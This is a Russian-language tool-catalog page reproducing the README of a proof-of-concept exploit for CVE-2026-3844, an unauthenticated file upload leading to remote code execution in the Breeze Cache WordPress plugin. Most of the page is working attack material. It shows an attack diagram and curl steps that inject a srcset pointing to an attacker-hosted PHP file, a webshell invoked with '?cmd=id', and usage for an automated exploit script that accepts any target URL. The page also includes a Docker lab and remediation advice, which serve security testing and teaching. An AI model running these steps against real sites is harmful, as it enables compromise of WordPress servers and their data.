Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-3844 — Доказательство концепции эксплуатации для CVE-2026-3844 — неаутентифицированная произвольная загрузка файлов, приводящая к удалённому выполнению кода в Breeze Cache <= 2.4.4. Включает Docker-лабораторию и автоматизированный скрипт эксплуатации. | Kitploit
Инструменты/GitHubGitHub/dinosn/cve-2026-3844
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubdinosn/cve-2026-3844

CVE-2026-3844

Доказательство концепции эксплуатации для CVE-2026-3844 — неаутентифицированная произвольная загрузка файлов, приводящая к удалённому выполнению кода в Breeze Cache <= 2.4.4. Включает Docker-лабораторию и автоматизированный скрипт эксплуатации.

Репозиторий
5114 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-3844 — Breeze Cache <= 2.4.4 Неаутентифицированная произвольная загрузка файлов с последующим RCE

Обзор

ПолеЗначение
CVECVE-2026-3844
CVSS9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — Неограниченная загрузка файлов опасного типа
ПлагинBreeze Cache от Cloudways
ЗатронутыВсе версии до 2.4.4 включительно
Исправлено2.4.5 (changeset 3511463)
Установки400 000+ активных установок WordPress
ОбнаружилHung Nguyen (bashu)
Раскрыто2026-04-23

Уязвимость

Функция fetch_gravatar_from_remote() в inc/class-breeze-cache-cronjobs.php загружает удалённые URL и сохраняет их в каталог, доступный через веб, используя исходное имя файла и расширение из URL. Нет проверки MIME-типа, нет белого списка расширений и нет проверки содержимого.

Когда включена настройка «Host Files Locally - Gravatars», плагин подключается к фильтру WordPress get_avatar через breeze_replace_gravatar_image(). Эта функция использует регулярное выражение для извлечения URL из атрибутов srcset и src в HTML-коде аватара. Злоумышленник может внедрить вредоносный атрибут srcset, оставив комментарий с подделанным именем автора, что заставит плагин загрузить и закэшировать произвольный PHP-файл.

Уязвимый код

Уязвимый код в fetch_gravatar_from_remote()

Чего не хватает:

  • Нет проверки, что загруженное содержимое является изображением (проверка MIME)
  • Нет ограничений на расширения файлов (.php, .phtml, .phar — все принимаются)
  • Нет проверки Content-Type HTTP-ответа
  • Целевой каталог доступен через веб и допускает выполнение PHP

Схема атаки

root@kitploit:~
Атакующий                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  Комментарий сохранён
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  Срабатывает фильтр get_avatar
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    извлекает URL из srcset через regex
   |                                        |    вызывает fetch_gravatar_from_remote()
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         Содержимое PHP-файла           |
   |         -----------------------------> |
   |                                        |  Сохранено в:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP выполняется от имени www-data
   |         uid=33(www-data)               |
   |  <------------------------------------ |

Предварительные условия

  1. Должна быть установлена и активна версия плагина Breeze <= 2.4.4
  2. «Host Files Locally - Gravatars» должна быть включена (по умолчанию выключена, в Настройки > Breeze > Дополнительно)
  3. Комментарии WordPress должны быть открыты хотя бы на одной записи
  4. Сервер с полезной нагрузкой атакующего должен быть доступен с сервера WordPress

Настройка Docker-лаборатории

Этот PoC включает автономную Docker-среду с:

  • WordPress 6.5 + Breeze 2.4.4 (уязвимая, с включённым хостингом граватаров)
  • MariaDB 10.11
  • Python HTTP-сервер, размещающий PoC-полезную нагрузку

Предварительные требования

  • Docker и Docker Compose
  • Python 3.8+ с requests (pip install requests)

1. Запуск лаборатории

root@kitploit:~
cd docker/
docker compose up -d --build

Подождите ~30 секунд, пока WordPress инициализируется. Проверьте:

root@kitploit:~
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Ожидается: Stable tag: 2.4.4

2. Проверка предварительных условий

Версия Breeze 2.4.4 подтверждена

Комментарии открыты, хостинг граватаров включён

Docker-настройка автоматически:

  • Включает «Host Files Locally - Gravatars» (breeze-store-gravatars-locally: 1)
  • Открывает комментарии на записях
  • Отключает модерацию комментариев (для немедленной эксплуатации)

Эксплуатация

Ручные шаги

Шаг 1 — Размещение вредоносного комментария

root@kitploit:~
curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

Замените PAYLOAD_IP на IP контейнера с полезной нагрузкой:

root@kitploit:~
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

Ожидаемый ответ: перенаправление HTTP 302 на страницу записи.

Размещение вредоносного комментария

Шаг 2 — Запуск рендеринга аватара

Посетите страницу записи, чтобы WordPress отрендерил аватар комментария, что запускает фильтр Breeze get_avatar и загружает полезную нагрузку:

root@kitploit:~
curl -s "http://localhost:8088/?p=1" > /dev/null

В отрендеренном HTML видно, что Breeze извлёк внедрённый srcset и закэшировал полезную нагрузку:

Рендеринг аватара запускает загрузку полезной нагрузки

Шаг 3 — Проверка файла на диске

PHP-полезная нагрузка записана дословно, владелец — www-data:

shell.php на диске, владелец www-data

Шаг 4 — Подтверждение RCE

RCE подтверждён — id, whoami, uname, /etc/passwd

Автоматизированный скрипт эксплуатации

root@kitploit:~
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

Вывод автоматизированного скрипта эксплуатации

Параметры скрипта

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      URL целевого WordPress (обязательно)
  -p, --payload     URL PHP-полезной нагрузки для загрузки
  --post-id         Конкретный ID записи для комментария
  --timeout         Таймаут HTTP в секундах (по умолчанию: 15)
  --wait            Секунды ожидания cron (по умолчанию: 12)
  --check-only      Только проверить версию плагина, без эксплуатации

Удаление

root@kitploit:~
cd docker/
docker compose down -v --remove-orphans

Устранение

  1. Обновите Breeze до версии 2.4.5 или новее
  2. Временное решение (если невозможно обновить): отключите «Host Files Locally - Gravatars» в настройках Breeze
  3. Усиление защиты: добавьте в .htaccess в wp-content/cache/breeze-extra/gravatars/:
    root@kitploit:~
    <FilesMatch "\.ph(p|tml|ar)$">
        Require all denied
    </FilesMatch>
    

Структура файлов

root@kitploit:~
cve-2026-3844/
  README.md              # Этот файл
  docker/
    Dockerfile           # Образ WordPress + Breeze 2.4.4
    docker-compose.yml   # Полная лаборатория (WP + MariaDB + сервер полезной нагрузки)
    entrypoint-custom.sh # Автоконфигурация WP с уязвимыми настройками
  poc/
    exploit.py           # Автоматизированный PoC-скрипт эксплуатации
    validate.sh          # Сквозной Docker-механизм валидации
  payloads/
    shell.php            # Безвредная PoC-полезная нагрузка (echo + id)
  screenshots/           # SVG-скриншоты терминала (Charm freeze)
  validation/            # Результаты валидации эксплуатируемости RAPTOR

Ссылки

  • NVD — CVE-2026-3844
  • Консультация Wordfence
  • Изменения патча WordPress 3511463
  • Уязвимый исходный код (тег 2.4.1)

Отказ от ответственности

Этот proof-of-concept предоставлен только для авторизованного тестирования безопасности, обучения и защитных исследований. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным.

Скачать инструмент